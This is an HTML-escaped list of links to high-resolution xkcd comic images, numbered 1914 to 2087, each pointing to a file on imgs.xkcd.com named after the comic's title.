&lt;li>1914: &lt;a href="https://imgs.xkcd.com/comics/twitter_verification_2x.png">https://imgs.xkcd.com/comics/twitter_verification_2x.png&lt;/a>&lt;/li>
&lt;li>1915: &lt;a href="https://imgs.xkcd.com/comics/nightmare_email_feature_2x.png">https://imgs.xkcd.com/comics/nightmare_email_feature_2x.png&lt;/a>&lt;/li>
&lt;li>1916: &lt;a href="https://imgs.xkcd.com/comics/temperature_preferences_2x.png">https://imgs.xkcd.com/comics/temperature_preferences_2x.png&lt;/a>&lt;/li>
&lt;li>1917: &lt;a href="https://imgs.xkcd.com/comics/how_to_make_friends_2x.png">https://imgs.xkcd.com/comics/how_to_make_friends_2x.png&lt;/a>&lt;/li>
&lt;li>1918: &lt;a href="https://imgs.xkcd.com/comics/nexus_2x.png">https://imgs.xkcd.com/comics/nexus_2x.png&lt;/a>&lt;/li>
&lt;li>1919: &lt;a href="https://imgs.xkcd.com/comics/interstellar_asteroid_2x.png">https://imgs.xkcd.com/comics/interstellar_asteroid_2x.png&lt;/a>&lt;/li>
&lt;li>1920: &lt;a href="https://imgs.xkcd.com/comics/emoji_sports_2x.png">https://imgs.xkcd.com/comics/emoji_sports_2x.png&lt;/a>&lt;/li>
&lt;li>1921: &lt;a href="https://imgs.xkcd.com/comics/the_moon_and_the_great_wall_2x.png">https://imgs.xkcd.com/comics/the_moon_and_the_great_wall_2x.png&lt;/a>&lt;/li>
&lt;li>1922: &lt;a href="https://imgs.xkcd.com/comics/interferometry_2x.png">https://imgs.xkcd.com/comics/interferometry_2x.png&lt;/a>&lt;/li>
&lt;li>1923: &lt;a href="https://imgs.xkcd.com/comics/felsius_2x.png">https://imgs.xkcd.com/comics/felsius_2x.png&lt;/a>&lt;/li>
&lt;li>1924: &lt;a href="https://imgs.xkcd.com/comics/solar_panels_2x.png">https://imgs.xkcd.com/comics/solar_panels_2x.png&lt;/a>&lt;/li>
&lt;li>1925: &lt;a href="https://imgs.xkcd.com/comics/self_driving_car_milestones_2x.png">https://imgs.xkcd.com/comics/self_driving_car_milestones_2x.png&lt;/a>&lt;/li>
&lt;li>1926: &lt;a href="https://imgs.xkcd.com/comics/bad_code_2x.png">https://imgs.xkcd.com/comics/bad_code_2x.png&lt;/a>&lt;/li>
&lt;li>1927: &lt;a href="https://imgs.xkcd.com/comics/tinder_2x.png">https://imgs.xkcd.com/comics/tinder_2x.png&lt;/a>&lt;/li>
&lt;li>1928: &lt;a href="https://imgs.xkcd.com/comics/seven_years_2x.png">https://imgs.xkcd.com/comics/seven_years_2x.png&lt;/a>&lt;/li>
&lt;li>1929: &lt;a href="https://imgs.xkcd.com/comics/argument_timing_2x.png">https://imgs.xkcd.com/comics/argument_timing_2x.png&lt;/a>&lt;/li>
&lt;li>1930: &lt;a href="https://imgs.xkcd.com/comics/calendar_facts_2x.png">https://imgs.xkcd.com/comics/calendar_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1931: &lt;a href="https://imgs.xkcd.com/comics/virtual_assistant_2x.png">https://imgs.xkcd.com/comics/virtual_assistant_2x.png&lt;/a>&lt;/li>
&lt;li>1932: &lt;a href="https://imgs.xkcd.com/comics/the_true_meaning_of_christmas_2x.png">https://imgs.xkcd.com/comics/the_true_meaning_of_christmas_2x.png&lt;/a>&lt;/li>
&lt;li>1933: &lt;a href="https://imgs.xkcd.com/comics/santa_facts_2x.png">https://imgs.xkcd.com/comics/santa_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1934: &lt;a href="https://imgs.xkcd.com/comics/phone_security_2x.png">https://imgs.xkcd.com/comics/phone_security_2x.png&lt;/a>&lt;/li>
&lt;li>1935: &lt;a href="https://imgs.xkcd.com/comics/2018_2x.png">https://imgs.xkcd.com/comics/2018_2x.png&lt;/a>&lt;/li>
&lt;li>1936: &lt;a href="https://imgs.xkcd.com/comics/desert_golfing_2x.png">https://imgs.xkcd.com/comics/desert_golfing_2x.png&lt;/a>&lt;/li>
&lt;li>1937: &lt;a href="https://imgs.xkcd.com/comics/iata_airport_abbreviations_2x.png">https://imgs.xkcd.com/comics/iata_airport_abbreviations_2x.png&lt;/a>&lt;/li>
&lt;li>1938: &lt;a href="https://imgs.xkcd.com/comics/meltdown_and_spectre_2x.png">https://imgs.xkcd.com/comics/meltdown_and_spectre_2x.png&lt;/a>&lt;/li>
&lt;li>1939: &lt;a href="https://imgs.xkcd.com/comics/2016_election_map_2x.png">https://imgs.xkcd.com/comics/2016_election_map_2x.png&lt;/a>&lt;/li>
&lt;li>1940: &lt;a href="https://imgs.xkcd.com/comics/the_food_size_cycle_2x.png">https://imgs.xkcd.com/comics/the_food_size_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>1941: &lt;a href="https://imgs.xkcd.com/comics/dying_gift_2x.png">https://imgs.xkcd.com/comics/dying_gift_2x.png&lt;/a>&lt;/li>
&lt;li>1942: &lt;a href="https://imgs.xkcd.com/comics/memorable_quotes_2x.png">https://imgs.xkcd.com/comics/memorable_quotes_2x.png&lt;/a>&lt;/li>
&lt;li>1943: &lt;a href="https://imgs.xkcd.com/comics/universal_dreams_2x.png">https://imgs.xkcd.com/comics/universal_dreams_2x.png&lt;/a>&lt;/li>
&lt;li>1944: &lt;a href="https://imgs.xkcd.com/comics/the_end_of_the_rainbow_2x.png">https://imgs.xkcd.com/comics/the_end_of_the_rainbow_2x.png&lt;/a>&lt;/li>
&lt;li>1945: &lt;a href="https://imgs.xkcd.com/comics/scientific_paper_graph_quality_2x.png">https://imgs.xkcd.com/comics/scientific_paper_graph_quality_2x.png&lt;/a>&lt;/li>
&lt;li>1946: &lt;a href="https://imgs.xkcd.com/comics/hawaii_2x.png">https://imgs.xkcd.com/comics/hawaii_2x.png&lt;/a>&lt;/li>
&lt;li>1947: &lt;a href="https://imgs.xkcd.com/comics/night_sky_2x.png">https://imgs.xkcd.com/comics/night_sky_2x.png&lt;/a>&lt;/li>
&lt;li>1948: &lt;a href="https://imgs.xkcd.com/comics/campaign_fundraising_emails_2x.png">https://imgs.xkcd.com/comics/campaign_fundraising_emails_2x.png&lt;/a>&lt;/li>
&lt;li>1949: &lt;a href="https://imgs.xkcd.com/comics/fruit_collider_2x.png">https://imgs.xkcd.com/comics/fruit_collider_2x.png&lt;/a>&lt;/li>
&lt;li>1950: &lt;a href="https://imgs.xkcd.com/comics/chicken_pox_and_name_statistics_2x.png">https://imgs.xkcd.com/comics/chicken_pox_and_name_statistics_2x.png&lt;/a>&lt;/li>
&lt;li>1951: &lt;a href="https://imgs.xkcd.com/comics/super_bowl_watch_party_2x.png">https://imgs.xkcd.com/comics/super_bowl_watch_party_2x.png&lt;/a>&lt;/li>
&lt;li>1952: &lt;a href="https://imgs.xkcd.com/comics/backpack_decisions_2x.png">https://imgs.xkcd.com/comics/backpack_decisions_2x.png&lt;/a>&lt;/li>
&lt;li>1953: &lt;a href="https://imgs.xkcd.com/comics/the_history_of_unicode_2x.png">https://imgs.xkcd.com/comics/the_history_of_unicode_2x.png&lt;/a>&lt;/li>
&lt;li>1954: &lt;a href="https://imgs.xkcd.com/comics/impostor_syndrome_2x.png">https://imgs.xkcd.com/comics/impostor_syndrome_2x.png&lt;/a>&lt;/li>
&lt;li>1955: &lt;a href="https://imgs.xkcd.com/comics/robots_2x.png">https://imgs.xkcd.com/comics/robots_2x.png&lt;/a>&lt;/li>
&lt;li>1956: &lt;a href="https://imgs.xkcd.com/comics/unification_2x.png">https://imgs.xkcd.com/comics/unification_2x.png&lt;/a>&lt;/li>
&lt;li>1957: &lt;a href="https://imgs.xkcd.com/comics/2018_cve_list_2x.png">https://imgs.xkcd.com/comics/2018_cve_list_2x.png&lt;/a>&lt;/li>
&lt;li>1958: &lt;a href="https://imgs.xkcd.com/comics/self_driving_issues_2x.png">https://imgs.xkcd.com/comics/self_driving_issues_2x.png&lt;/a>&lt;/li>
&lt;li>1959: &lt;a href="https://imgs.xkcd.com/comics/the_simpsons_2x.png">https://imgs.xkcd.com/comics/the_simpsons_2x.png&lt;/a>&lt;/li>
&lt;li>1960: &lt;a href="https://imgs.xkcd.com/comics/code_golf_2x.png">https://imgs.xkcd.com/comics/code_golf_2x.png&lt;/a>&lt;/li>
&lt;li>1961: &lt;a href="https://imgs.xkcd.com/comics/interaction_2x.png">https://imgs.xkcd.com/comics/interaction_2x.png&lt;/a>&lt;/li>
&lt;li>1962: &lt;a href="https://imgs.xkcd.com/comics/generations_2x.png">https://imgs.xkcd.com/comics/generations_2x.png&lt;/a>&lt;/li>
&lt;li>1963: &lt;a href="https://imgs.xkcd.com/comics/namespace_land_rush_2x.png">https://imgs.xkcd.com/comics/namespace_land_rush_2x.png&lt;/a>&lt;/li>
&lt;li>1964: &lt;a href="https://imgs.xkcd.com/comics/spatial_orientation_2x.png">https://imgs.xkcd.com/comics/spatial_orientation_2x.png&lt;/a>&lt;/li>
&lt;li>1965: &lt;a href="https://imgs.xkcd.com/comics/background_apps_2x.png">https://imgs.xkcd.com/comics/background_apps_2x.png&lt;/a>&lt;/li>
&lt;li>1966: &lt;a href="https://imgs.xkcd.com/comics/smart_home_security_2x.png">https://imgs.xkcd.com/comics/smart_home_security_2x.png&lt;/a>&lt;/li>
&lt;li>1967: &lt;a href="https://imgs.xkcd.com/comics/violin_plots_2x.png">https://imgs.xkcd.com/comics/violin_plots_2x.png&lt;/a>&lt;/li>
&lt;li>1968: &lt;a href="https://imgs.xkcd.com/comics/robot_future_2x.png">https://imgs.xkcd.com/comics/robot_future_2x.png&lt;/a>&lt;/li>
&lt;li>1969: &lt;a href="https://imgs.xkcd.com/comics/not_available_2x.png">https://imgs.xkcd.com/comics/not_available_2x.png&lt;/a>&lt;/li>
&lt;li>1970: &lt;a href="https://imgs.xkcd.com/comics/name_dominoes_2x.png">https://imgs.xkcd.com/comics/name_dominoes_2x.png&lt;/a>&lt;/li>
&lt;li>1971: &lt;a href="https://imgs.xkcd.com/comics/personal_data_2x.png">https://imgs.xkcd.com/comics/personal_data_2x.png&lt;/a>&lt;/li>
&lt;li>1972: &lt;a href="https://imgs.xkcd.com/comics/autogyros_2x.png">https://imgs.xkcd.com/comics/autogyros_2x.png&lt;/a>&lt;/li>
&lt;li>1973: &lt;a href="https://imgs.xkcd.com/comics/star_lore_2x.png">https://imgs.xkcd.com/comics/star_lore_2x.png&lt;/a>&lt;/li>
&lt;li>1974: &lt;a href="https://imgs.xkcd.com/comics/conversational_dynamics_2x.png">https://imgs.xkcd.com/comics/conversational_dynamics_2x.png&lt;/a>&lt;/li>
&lt;li>1975: &lt;a href="https://imgs.xkcd.com/comics/right_click_2x.png">https://imgs.xkcd.com/comics/right_click_2x.png&lt;/a>&lt;/li>
&lt;li>1976: &lt;a href="https://imgs.xkcd.com/comics/friendly_questions_2x.png">https://imgs.xkcd.com/comics/friendly_questions_2x.png&lt;/a>&lt;/li>
&lt;li>1977: &lt;a href="https://imgs.xkcd.com/comics/paperwork_2x.png">https://imgs.xkcd.com/comics/paperwork_2x.png&lt;/a>&lt;/li>
&lt;li>1978: &lt;a href="https://imgs.xkcd.com/comics/congressional_testimony_2x.png">https://imgs.xkcd.com/comics/congressional_testimony_2x.png&lt;/a>&lt;/li>
&lt;li>1979: &lt;a href="https://imgs.xkcd.com/comics/history_2x.png">https://imgs.xkcd.com/comics/history_2x.png&lt;/a>&lt;/li>
&lt;li>1980: &lt;a href="https://imgs.xkcd.com/comics/turkish_delight_2x.png">https://imgs.xkcd.com/comics/turkish_delight_2x.png&lt;/a>&lt;/li>
&lt;li>1981: &lt;a href="https://imgs.xkcd.com/comics/rickrolling_anniversary_2x.png">https://imgs.xkcd.com/comics/rickrolling_anniversary_2x.png&lt;/a>&lt;/li>
&lt;li>1982: &lt;a href="https://imgs.xkcd.com/comics/evangelism_2x.png">https://imgs.xkcd.com/comics/evangelism_2x.png&lt;/a>&lt;/li>
&lt;li>1983: &lt;a href="https://imgs.xkcd.com/comics/clutter_2x.png">https://imgs.xkcd.com/comics/clutter_2x.png&lt;/a>&lt;/li>
&lt;li>1984: &lt;a href="https://imgs.xkcd.com/comics/misinterpretation_2x.png">https://imgs.xkcd.com/comics/misinterpretation_2x.png&lt;/a>&lt;/li>
&lt;li>1985: &lt;a href="https://imgs.xkcd.com/comics/meteorologist_2x.png">https://imgs.xkcd.com/comics/meteorologist_2x.png&lt;/a>&lt;/li>
&lt;li>1986: &lt;a href="https://imgs.xkcd.com/comics/river_border_2x.png">https://imgs.xkcd.com/comics/river_border_2x.png&lt;/a>&lt;/li>
&lt;li>1987: &lt;a href="https://imgs.xkcd.com/comics/python_environment_2x.png">https://imgs.xkcd.com/comics/python_environment_2x.png&lt;/a>&lt;/li>
&lt;li>1988: &lt;a href="https://imgs.xkcd.com/comics/containers_2x.png">https://imgs.xkcd.com/comics/containers_2x.png&lt;/a>&lt;/li>
&lt;li>1989: &lt;a href="https://imgs.xkcd.com/comics/imho_2x.png">https://imgs.xkcd.com/comics/imho_2x.png&lt;/a>&lt;/li>
&lt;li>1990: &lt;a href="https://imgs.xkcd.com/comics/driving_cars_2x.png">https://imgs.xkcd.com/comics/driving_cars_2x.png&lt;/a>&lt;/li>
&lt;li>1991: &lt;a href="https://imgs.xkcd.com/comics/research_areas_by_size_and_countedness_2x.png">https://imgs.xkcd.com/comics/research_areas_by_size_and_countedness_2x.png&lt;/a>&lt;/li>
&lt;li>1992: &lt;a href="https://imgs.xkcd.com/comics/safetysat_2x.png">https://imgs.xkcd.com/comics/safetysat_2x.png&lt;/a>&lt;/li>
&lt;li>1993: &lt;a href="https://imgs.xkcd.com/comics/fatal_crash_rate_2x.png">https://imgs.xkcd.com/comics/fatal_crash_rate_2x.png&lt;/a>&lt;/li>
&lt;li>1994: &lt;a href="https://imgs.xkcd.com/comics/repairs_2x.png">https://imgs.xkcd.com/comics/repairs_2x.png&lt;/a>&lt;/li>
&lt;li>1995: &lt;a href="https://imgs.xkcd.com/comics/mc_hammer_age_2x.png">https://imgs.xkcd.com/comics/mc_hammer_age_2x.png&lt;/a>&lt;/li>
&lt;li>1996: &lt;a href="https://imgs.xkcd.com/comics/morning_news_2x.png">https://imgs.xkcd.com/comics/morning_news_2x.png&lt;/a>&lt;/li>
&lt;li>1997: &lt;a href="https://imgs.xkcd.com/comics/business_update_2x.png">https://imgs.xkcd.com/comics/business_update_2x.png&lt;/a>&lt;/li>
&lt;li>1998: &lt;a href="https://imgs.xkcd.com/comics/gdpr_2x.png">https://imgs.xkcd.com/comics/gdpr_2x.png&lt;/a>&lt;/li>
&lt;li>1999: &lt;a href="https://imgs.xkcd.com/comics/selection_effect_2x.png">https://imgs.xkcd.com/comics/selection_effect_2x.png&lt;/a>&lt;/li>
&lt;li>2000: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_2000_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_2000_2x.png&lt;/a>&lt;/li>
&lt;li>2001: &lt;a href="https://imgs.xkcd.com/comics/clickbait_corrected_p_value_2x.png">https://imgs.xkcd.com/comics/clickbait_corrected_p_value_2x.png&lt;/a>&lt;/li>
&lt;li>2002: &lt;a href="https://imgs.xkcd.com/comics/lebron_james_and_stephen_curry_2x.png">https://imgs.xkcd.com/comics/lebron_james_and_stephen_curry_2x.png&lt;/a>&lt;/li>
&lt;li>2003: &lt;a href="https://imgs.xkcd.com/comics/presidential_succession_2x.png">https://imgs.xkcd.com/comics/presidential_succession_2x.png&lt;/a>&lt;/li>
&lt;li>2004: &lt;a href="https://imgs.xkcd.com/comics/sun_and_earth_2x.png">https://imgs.xkcd.com/comics/sun_and_earth_2x.png&lt;/a>&lt;/li>
&lt;li>2005: &lt;a href="https://imgs.xkcd.com/comics/attention_span_2x.png">https://imgs.xkcd.com/comics/attention_span_2x.png&lt;/a>&lt;/li>
&lt;li>2006: &lt;a href="https://imgs.xkcd.com/comics/customer_rewards_2x.png">https://imgs.xkcd.com/comics/customer_rewards_2x.png&lt;/a>&lt;/li>
&lt;li>2007: &lt;a href="https://imgs.xkcd.com/comics/brookhaven_rhic_2x.png">https://imgs.xkcd.com/comics/brookhaven_rhic_2x.png&lt;/a>&lt;/li>
&lt;li>2008: &lt;a href="https://imgs.xkcd.com/comics/irony_definition_2x.png">https://imgs.xkcd.com/comics/irony_definition_2x.png&lt;/a>&lt;/li>
&lt;li>2009: &lt;a href="https://imgs.xkcd.com/comics/hertzsprung_russell_diagram_2x.png">https://imgs.xkcd.com/comics/hertzsprung_russell_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2010: &lt;a href="https://imgs.xkcd.com/comics/update_notes_2x.png">https://imgs.xkcd.com/comics/update_notes_2x.png&lt;/a>&lt;/li>
&lt;li>2011: &lt;a href="https://imgs.xkcd.com/comics/newtons_trajectories_2x.png">https://imgs.xkcd.com/comics/newtons_trajectories_2x.png&lt;/a>&lt;/li>
&lt;li>2012: &lt;a href="https://imgs.xkcd.com/comics/thorough_analysis_2x.png">https://imgs.xkcd.com/comics/thorough_analysis_2x.png&lt;/a>&lt;/li>
&lt;li>2013: &lt;a href="https://imgs.xkcd.com/comics/rock_2x.png">https://imgs.xkcd.com/comics/rock_2x.png&lt;/a>&lt;/li>
&lt;li>2014: &lt;a href="https://imgs.xkcd.com/comics/jwst_delays_2x.png">https://imgs.xkcd.com/comics/jwst_delays_2x.png&lt;/a>&lt;/li>
&lt;li>2015: &lt;a href="https://imgs.xkcd.com/comics/new_phone_thread_2x.png">https://imgs.xkcd.com/comics/new_phone_thread_2x.png&lt;/a>&lt;/li>
&lt;li>2016: &lt;a href="https://imgs.xkcd.com/comics/oeis_submissions_2x.png">https://imgs.xkcd.com/comics/oeis_submissions_2x.png&lt;/a>&lt;/li>
&lt;li>2017: &lt;a href="https://imgs.xkcd.com/comics/stargazing_2_2x.png">https://imgs.xkcd.com/comics/stargazing_2_2x.png&lt;/a>&lt;/li>
&lt;li>2018: &lt;a href="https://imgs.xkcd.com/comics/wall_art_2x.png">https://imgs.xkcd.com/comics/wall_art_2x.png&lt;/a>&lt;/li>
&lt;li>2019: &lt;a href="https://imgs.xkcd.com/comics/an_apple_for_a_dollar_2x.png">https://imgs.xkcd.com/comics/an_apple_for_a_dollar_2x.png&lt;/a>&lt;/li>
&lt;li>2020: &lt;a href="https://imgs.xkcd.com/comics/negative_results_2x.png">https://imgs.xkcd.com/comics/negative_results_2x.png&lt;/a>&lt;/li>
&lt;li>2021: &lt;a href="https://imgs.xkcd.com/comics/software_development_2x.png">https://imgs.xkcd.com/comics/software_development_2x.png&lt;/a>&lt;/li>
&lt;li>2022: &lt;a href="https://imgs.xkcd.com/comics/sports_champions_2x.png">https://imgs.xkcd.com/comics/sports_champions_2x.png&lt;/a>&lt;/li>
&lt;li>2023: &lt;a href="https://imgs.xkcd.com/comics/y_axis_2x.png">https://imgs.xkcd.com/comics/y_axis_2x.png&lt;/a>&lt;/li>
&lt;li>2024: &lt;a href="https://imgs.xkcd.com/comics/light_hacks_2x.png">https://imgs.xkcd.com/comics/light_hacks_2x.png&lt;/a>&lt;/li>
&lt;li>2025: &lt;a href="https://imgs.xkcd.com/comics/peer_review_2x.png">https://imgs.xkcd.com/comics/peer_review_2x.png&lt;/a>&lt;/li>
&lt;li>2026: &lt;a href="https://imgs.xkcd.com/comics/heat_index_2x.png">https://imgs.xkcd.com/comics/heat_index_2x.png&lt;/a>&lt;/li>
&lt;li>2027: &lt;a href="https://imgs.xkcd.com/comics/lightning_distance_2x.png">https://imgs.xkcd.com/comics/lightning_distance_2x.png&lt;/a>&lt;/li>
&lt;li>2028: &lt;a href="https://imgs.xkcd.com/comics/complex_numbers_2x.png">https://imgs.xkcd.com/comics/complex_numbers_2x.png&lt;/a>&lt;/li>
&lt;li>2029: &lt;a href="https://imgs.xkcd.com/comics/disaster_movie_2x.png">https://imgs.xkcd.com/comics/disaster_movie_2x.png&lt;/a>&lt;/li>
&lt;li>2030: &lt;a href="https://imgs.xkcd.com/comics/voting_software_2x.png">https://imgs.xkcd.com/comics/voting_software_2x.png&lt;/a>&lt;/li>
&lt;li>2031: &lt;a href="https://imgs.xkcd.com/comics/pie_charts_2x.png">https://imgs.xkcd.com/comics/pie_charts_2x.png&lt;/a>&lt;/li>
&lt;li>2032: &lt;a href="https://imgs.xkcd.com/comics/word_puzzles_2x.png">https://imgs.xkcd.com/comics/word_puzzles_2x.png&lt;/a>&lt;/li>
&lt;li>2033: &lt;a href="https://imgs.xkcd.com/comics/repair_or_replace_2x.png">https://imgs.xkcd.com/comics/repair_or_replace_2x.png&lt;/a>&lt;/li>
&lt;li>2034: &lt;a href="https://imgs.xkcd.com/comics/equations_2x.png">https://imgs.xkcd.com/comics/equations_2x.png&lt;/a>&lt;/li>
&lt;li>2035: &lt;a href="https://imgs.xkcd.com/comics/dark_matter_candidates_2x.png">https://imgs.xkcd.com/comics/dark_matter_candidates_2x.png&lt;/a>&lt;/li>
&lt;li>2036: &lt;a href="https://imgs.xkcd.com/comics/edgelord_2x.png">https://imgs.xkcd.com/comics/edgelord_2x.png&lt;/a>&lt;/li>
&lt;li>2037: &lt;a href="https://imgs.xkcd.com/comics/supreme_court_bracket_2x.png">https://imgs.xkcd.com/comics/supreme_court_bracket_2x.png&lt;/a>&lt;/li>
&lt;li>2038: &lt;a href="https://imgs.xkcd.com/comics/hazard_symbol_2x.png">https://imgs.xkcd.com/comics/hazard_symbol_2x.png&lt;/a>&lt;/li>
&lt;li>2039: &lt;a href="https://imgs.xkcd.com/comics/begging_the_question_2x.png">https://imgs.xkcd.com/comics/begging_the_question_2x.png&lt;/a>&lt;/li>
&lt;li>2040: &lt;a href="https://imgs.xkcd.com/comics/sibling_in_law_2x.png">https://imgs.xkcd.com/comics/sibling_in_law_2x.png&lt;/a>&lt;/li>
&lt;li>2041: &lt;a href="https://imgs.xkcd.com/comics/frontiers_2x.png">https://imgs.xkcd.com/comics/frontiers_2x.png&lt;/a>&lt;/li>
&lt;li>2042: &lt;a href="https://imgs.xkcd.com/comics/rolles_theorem_2x.png">https://imgs.xkcd.com/comics/rolles_theorem_2x.png&lt;/a>&lt;/li>
&lt;li>2043: &lt;a href="https://imgs.xkcd.com/comics/boathouses_and_houseboats_2x.png">https://imgs.xkcd.com/comics/boathouses_and_houseboats_2x.png&lt;/a>&lt;/li>
&lt;li>2044: &lt;a href="https://imgs.xkcd.com/comics/sandboxing_cycle_2x.png">https://imgs.xkcd.com/comics/sandboxing_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2045: &lt;a href="https://imgs.xkcd.com/comics/social_media_announcement_2x.png">https://imgs.xkcd.com/comics/social_media_announcement_2x.png&lt;/a>&lt;/li>
&lt;li>2046: &lt;a href="https://imgs.xkcd.com/comics/trum_2x.png">https://imgs.xkcd.com/comics/trum_2x.png&lt;/a>&lt;/li>
&lt;li>2047: &lt;a href="https://imgs.xkcd.com/comics/beverages_2x.png">https://imgs.xkcd.com/comics/beverages_2x.png&lt;/a>&lt;/li>
&lt;li>2048: &lt;a href="https://imgs.xkcd.com/comics/curve_fitting_2x.png">https://imgs.xkcd.com/comics/curve_fitting_2x.png&lt;/a>&lt;/li>
&lt;li>2049: &lt;a href="https://imgs.xkcd.com/comics/unfulfilling_toys_2x.png">https://imgs.xkcd.com/comics/unfulfilling_toys_2x.png&lt;/a>&lt;/li>
&lt;li>2050: &lt;a href="https://imgs.xkcd.com/comics/6_6_time_2x.png">https://imgs.xkcd.com/comics/6_6_time_2x.png&lt;/a>&lt;/li>
&lt;li>2051: &lt;a href="https://imgs.xkcd.com/comics/bad_opinions_2x.png">https://imgs.xkcd.com/comics/bad_opinions_2x.png&lt;/a>&lt;/li>
&lt;li>2052: &lt;a href="https://imgs.xkcd.com/comics/stanislav_petrov_day_2x.png">https://imgs.xkcd.com/comics/stanislav_petrov_day_2x.png&lt;/a>&lt;/li>
&lt;li>2053: &lt;a href="https://imgs.xkcd.com/comics/incoming_calls_2x.png">https://imgs.xkcd.com/comics/incoming_calls_2x.png&lt;/a>&lt;/li>
&lt;li>2054: &lt;a href="https://imgs.xkcd.com/comics/data_pipeline_2x.png">https://imgs.xkcd.com/comics/data_pipeline_2x.png&lt;/a>&lt;/li>
&lt;li>2055: &lt;a href="https://imgs.xkcd.com/comics/bluetooth_2x.png">https://imgs.xkcd.com/comics/bluetooth_2x.png&lt;/a>&lt;/li>
&lt;li>2056: &lt;a href="https://imgs.xkcd.com/comics/horror_movies_2x.png">https://imgs.xkcd.com/comics/horror_movies_2x.png&lt;/a>&lt;/li>
&lt;li>2057: &lt;a href="https://imgs.xkcd.com/comics/internal_monologues_2x.png">https://imgs.xkcd.com/comics/internal_monologues_2x.png&lt;/a>&lt;/li>
&lt;li>2058: &lt;a href="https://imgs.xkcd.com/comics/rock_wall_2x.png">https://imgs.xkcd.com/comics/rock_wall_2x.png&lt;/a>&lt;/li>
&lt;li>2059: &lt;a href="https://imgs.xkcd.com/comics/modified_bayes_theorem_2x.png">https://imgs.xkcd.com/comics/modified_bayes_theorem_2x.png&lt;/a>&lt;/li>
&lt;li>2060: &lt;a href="https://imgs.xkcd.com/comics/hygrometer_2x.png">https://imgs.xkcd.com/comics/hygrometer_2x.png&lt;/a>&lt;/li>
&lt;li>2061: &lt;a href="https://imgs.xkcd.com/comics/tectonics_game_2x.png">https://imgs.xkcd.com/comics/tectonics_game_2x.png&lt;/a>&lt;/li>
&lt;li>2062: &lt;a href="https://imgs.xkcd.com/comics/barnards_star_2x.png">https://imgs.xkcd.com/comics/barnards_star_2x.png&lt;/a>&lt;/li>
&lt;li>2063: &lt;a href="https://imgs.xkcd.com/comics/carnot_cycle_2x.png">https://imgs.xkcd.com/comics/carnot_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>2064: &lt;a href="https://imgs.xkcd.com/comics/im_a_car_2x.png">https://imgs.xkcd.com/comics/im_a_car_2x.png&lt;/a>&lt;/li>
&lt;li>2065: &lt;a href="https://imgs.xkcd.com/comics/who_sends_the_first_text_2x.png">https://imgs.xkcd.com/comics/who_sends_the_first_text_2x.png&lt;/a>&lt;/li>
&lt;li>2066: &lt;a href="https://imgs.xkcd.com/comics/ballot_selfies_2x.png">https://imgs.xkcd.com/comics/ballot_selfies_2x.png&lt;/a>&lt;/li>
&lt;li>2067: &lt;a href="https://imgs.xkcd.com/comics/challengers_2x.png">https://imgs.xkcd.com/comics/challengers_2x.png&lt;/a>&lt;/li>
&lt;li>2068: &lt;a href="https://imgs.xkcd.com/comics/election_night_2x.png">https://imgs.xkcd.com/comics/election_night_2x.png&lt;/a>&lt;/li>
&lt;li>2069: &lt;a href="https://imgs.xkcd.com/comics/wishlist_2x.png">https://imgs.xkcd.com/comics/wishlist_2x.png&lt;/a>&lt;/li>
&lt;li>2070: &lt;a href="https://imgs.xkcd.com/comics/trig_identities_2x.png">https://imgs.xkcd.com/comics/trig_identities_2x.png&lt;/a>&lt;/li>
&lt;li>2071: &lt;a href="https://imgs.xkcd.com/comics/indirect_detection_2x.png">https://imgs.xkcd.com/comics/indirect_detection_2x.png&lt;/a>&lt;/li>
&lt;li>2072: &lt;a href="https://imgs.xkcd.com/comics/evaluating_tech_things_2x.png">https://imgs.xkcd.com/comics/evaluating_tech_things_2x.png&lt;/a>&lt;/li>
&lt;li>2073: &lt;a href="https://imgs.xkcd.com/comics/kilogram_2x.png">https://imgs.xkcd.com/comics/kilogram_2x.png&lt;/a>&lt;/li>
&lt;li>2074: &lt;a href="https://imgs.xkcd.com/comics/airplanes_and_spaceships_2x.png">https://imgs.xkcd.com/comics/airplanes_and_spaceships_2x.png&lt;/a>&lt;/li>
&lt;li>2075: &lt;a href="https://imgs.xkcd.com/comics/update_your_address_2x.png">https://imgs.xkcd.com/comics/update_your_address_2x.png&lt;/a>&lt;/li>
&lt;li>2076: &lt;a href="https://imgs.xkcd.com/comics/horror_movies_2_2x.png">https://imgs.xkcd.com/comics/horror_movies_2_2x.png&lt;/a>&lt;/li>
&lt;li>2077: &lt;a href="https://imgs.xkcd.com/comics/heist_2x.png">https://imgs.xkcd.com/comics/heist_2x.png&lt;/a>&lt;/li>
&lt;li>2078: &lt;a href="https://imgs.xkcd.com/comics/popper_2x.png">https://imgs.xkcd.com/comics/popper_2x.png&lt;/a>&lt;/li>
&lt;li>2079: &lt;a href="https://imgs.xkcd.com/comics/alpha_centauri_2x.png">https://imgs.xkcd.com/comics/alpha_centauri_2x.png&lt;/a>&lt;/li>
&lt;li>2080: &lt;a href="https://imgs.xkcd.com/comics/cohort_and_age_effects_2x.png">https://imgs.xkcd.com/comics/cohort_and_age_effects_2x.png&lt;/a>&lt;/li>
&lt;li>2081: &lt;a href="https://imgs.xkcd.com/comics/middle_latitudes_2x.png">https://imgs.xkcd.com/comics/middle_latitudes_2x.png&lt;/a>&lt;/li>
&lt;li>2082: &lt;a href="https://imgs.xkcd.com/comics/mercator_projection_2x.png">https://imgs.xkcd.com/comics/mercator_projection_2x.png&lt;/a>&lt;/li>
&lt;li>2083: &lt;a href="https://imgs.xkcd.com/comics/laptop_issues_2x.png">https://imgs.xkcd.com/comics/laptop_issues_2x.png&lt;/a>&lt;/li>
&lt;li>2084: &lt;a href="https://imgs.xkcd.com/comics/fdr_2x.png">https://imgs.xkcd.com/comics/fdr_2x.png&lt;/a>&lt;/li>
&lt;li>2085: &lt;a href="https://imgs.xkcd.com/comics/arxiv_2x.png">https://imgs.xkcd.com/comics/arxiv_2x.png&lt;/a>&lt;/li>
&lt;li>2086: &lt;a href="https://imgs.xkcd.com/comics/history_department_2x.png">https://imgs.xkcd.com/comics/history_department_2x.png&lt;/a>&lt;/li>
&lt;li>2087: &lt;a href="https://imgs.xkcd.com/comics/rocket_launch_2x.png">https://imgs.xkcd.com/comics/rocket_launch_2x.png&lt;/a>&lt;/li>
